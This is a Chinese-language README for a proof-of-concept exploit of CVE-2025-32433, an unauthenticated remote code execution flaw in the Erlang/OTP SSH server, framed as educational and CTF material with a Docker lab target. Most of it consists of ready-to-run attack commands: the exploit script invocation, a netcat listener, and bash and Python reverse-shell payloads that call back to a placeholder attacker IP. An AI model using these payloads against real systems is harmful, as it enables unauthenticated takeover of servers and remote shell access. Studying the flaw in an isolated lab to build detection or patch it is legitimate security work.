
本仓库包含 CVE-2025-32433 的概念验证(PoC),该漏洞是影响 Erlang/Open Telecom Platform (OTP) SSH 服务器实现的一个严重未认证远程代码执行(RCE)漏洞。此 PoC 仅用于教育目的、安全研究和 CTF 挑战。
⚠️ 免责声明 – 仅限教育与道德使用 ⚠️
本 PoC 严格仅供教育和道德黑客目的使用。它旨在用于受控环境,例如隔离的虚拟机或 CTF 平台,并且您已获得明确许可进行安全测试。
切勿 将此 PoC 用于您不拥有或未经明确书面授权测试的任何系统。未经授权访问或利用计算机系统是非法且不道德的。本仓库的作者和维护者不对因使用此代码而造成的任何误用或损害负责。
| 属性 | 详情 |
|---|---|
| CVE ID | CVE-2025-32433 |
| 漏洞类型 | 未认证远程代码执行 (RCE) |
| CVSS v3.1 评分 | 10.0(严重) |
| 受影响软件 | Erlang/OTP SSH 服务器 (ssh) |
| 受影响版本 | OTP-27.3.2 及更早版本 OTP-26.2.5.10 及更早版本 OTP-25.3.2.19 及更早版本 OTP 17.0 及更早版本 |
| 已修复版本 | OTP-27.3.3、OTP-26.2.5.11、OTP-25.3.2.20 |
该漏洞存在于 Erlang/OTP SSH 服务器在预认证阶段处理 SSH 协议消息的方式中。具体来说,服务器未能正确强制执行 SSH 协议序列,允许远程未认证攻击者发送特制的 SSH_MSG_CHANNEL_OPEN 和 SSH_MSG_CHANNEL_REQUEST 消息。这使得攻击者能够打开一个会话通道,并在无需提供有效凭据的情况下执行任意 Erlang 命令(这些命令进而可以执行系统命令)。如果 SSH 守护进程以提升的权限(例如 root)运行,成功利用可能导致完全的系统沦陷。
设置易受攻击的 Erlang/OTP SSH 服务器最简单的方法是使用提供的 Dockerfile。
克隆此仓库:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
构建 Docker 镜像:
此命令编译一个易受攻击的 Erlang/OTP 版本(OTP-26.2.5.10)并配置 SSH 服务器。
docker build -t erlang-ssh-vulnerable .
运行易受攻击的服务器容器:
这将以后台模式启动 Erlang/OTP SSH 服务器,监听端口 2222。
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d:以分离模式运行容器。--name erlang-ssh-target:为容器分配一个名称以便管理。-p 2222:2222:将主机端口 2222 映射到容器端口 2222。验证容器正在运行:
docker ps
cve_2025_32433_exploit.py 脚本可以以交互方式或使用命令行参数运行。
如果您不带参数运行脚本,它将提示您输入必要的信息。
python3 cve_2025_32433_exploit.py
127.0.0.1)。2222)。如果交互模式下命令提示符留空,这是默认行为。它会在目标上创建一个文件 /tmp/note.txt。
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
您应该看到输出:Exploit Ran!要获取反向 Shell,您需要提供一个连接到您机器上监听器的有效载荷。
在您攻击机器上启动 Netcat 监听器(例如 Kali Linux),使用您选择的端口。
nc -lvnp 4444
重要: 确保您攻击机器上的防火墙(例如
ufw)允许此端口的入站连接。sudo ufw allow 4444/tcp
运行 PoC 脚本并附带反向 Shell 有效载荷。将 YOUR_ATTACKER_IP 替换为您机器的 IP 地址。
Bash 反向 Shell:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Python 反向 Shell(通常更可靠):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
检查您的 Netcat 监听器。您应该会收到一个连接并获得目标容器上的 shell。
要停止并移除 Docker 容器和镜像:
# 停止并移除容器
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# 可选:同时移除镜像
docker rmi erlang-ssh-vulnerable